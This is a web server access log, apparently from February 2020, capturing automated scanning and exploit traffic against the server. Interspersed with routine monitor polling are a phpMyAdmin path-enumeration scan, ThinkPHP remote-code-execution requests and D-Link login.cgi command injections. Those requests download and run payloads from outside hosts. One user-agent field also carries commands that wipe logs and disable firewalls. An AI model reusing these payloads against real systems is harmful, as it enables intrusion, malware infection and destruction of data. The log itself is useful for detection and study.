103.56.115.95 - - [16/Feb/2020:20:51:48 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:49 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:49 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:49 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:49 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:49 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:50 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:50 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:50 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:50 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:51 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:51 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:51 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [16/Feb/2020:20:51:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.56.115.95 - - [16/Feb/2020:20:51:51 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:51 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:52 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:52 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:52 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:52 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:52 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:53 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:53 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:53 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:53 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:54 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:54 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:54 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:54 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:54 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:55 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:55 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:55 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:55 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:55 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:56 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:56 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:56 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:56 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:56 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:57 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:57 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:57 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:57 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:58 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:58 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:58 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:58 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:58 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:59 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:59 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:59 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:59 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:51:59 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:52:00 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:52:00 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:52:00 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:52:00 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:52:00 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:52:01 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:52:01 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:52:01 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:52:02 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:52:02 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:52:02 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
103.56.115.95 - - [16/Feb/2020:20:52:02 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [16/Feb/2020:20:52:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:53:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:54:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.83.146.233 - - [16/Feb/2020:20:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [16/Feb/2020:20:55:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:56:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:20:57:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [16/Feb/2020:20:57:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
184.94.240.92 - - [16/Feb/2020:20:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
212.91.246.72 - - [16/Feb/2020:20:58:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.19.119.8 - - [16/Feb/2020:20:59:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:20:59:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:00:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:01:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:02:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.254.89.63 - - [16/Feb/2020:21:03:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
172.104.216.53 - - [16/Feb/2020:21:03:42 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
172.104.216.53 - - [16/Feb/2020:21:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
172.104.216.53 - - [16/Feb/2020:21:03:43 +0100] "GET /scripts/app.js HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
172.104.216.53 - - [16/Feb/2020:21:03:43 +0100] "GET /umbraco/ HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:21:03:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.188.73.170 - - [16/Feb/2020:21:04:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:21:04:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:05:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:06:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.202.38 - - [16/Feb/2020:21:07:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:21:07:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:08:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:09:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:10:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:11:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:12:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:13:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:14:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.78.26.21 - - [16/Feb/2020:21:15:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:21:15:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:16:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:17:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:18:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:19:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.119.37 - - [16/Feb/2020:21:20:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [16/Feb/2020:21:20:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:21:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:22:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.100.236 - - [16/Feb/2020:21:23:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.137.165.223 - - [16/Feb/2020:21:23:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [16/Feb/2020:21:23:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:24:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:25:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:26:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:27:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:28:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:29:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.41.6.196 - - [16/Feb/2020:21:30:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [16/Feb/2020:21:30:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:31:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:32:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:33:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:34:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.192.235 - - [16/Feb/2020:21:35:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [16/Feb/2020:21:35:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:36:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:37:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:38:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [16/Feb/2020:21:39:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:21:39:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:40:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
69.146.30.52 - - [16/Feb/2020:21:41:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:21:41:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:42:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.203.0.247 - - [16/Feb/2020:21:43:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:21:43:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:21:44:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
